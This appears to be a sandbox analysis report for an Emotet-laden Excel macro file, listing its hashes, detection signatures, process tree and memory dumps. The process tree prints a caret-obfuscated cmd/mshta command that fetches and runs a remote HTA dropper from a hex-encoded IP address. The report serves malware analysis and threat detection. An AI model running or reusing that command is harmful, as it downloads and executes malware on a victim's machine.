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Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19/01/2022, 19:39

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General

  • Target

    bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm

  • Size

    115KB

  • MD5

    f4d25cf8a129a7d5f017c7ff90e768fd

  • SHA1

    5e5faa43a14365d234bd071f1ae2b9fcd3511ec0

  • SHA256

    bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2

  • SHA512

    51ed9a545b67f3296a06d0f1ed570a7caed45a9fa3adf20fad21bf8a40b576015d656f3cf7c117d354ece81006bcb268ca76ed04e30543e5e5237151234d8ea1

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bc7476f9d9148b939127a2024a1b341cec82fb398bf06667bdd3da4b1acc8bd2.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2780
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:780
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1172
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:2892

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/2780-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2780-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2780-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2780-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2780-121-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2780-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2780-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

      Filesize

      64KB

      Download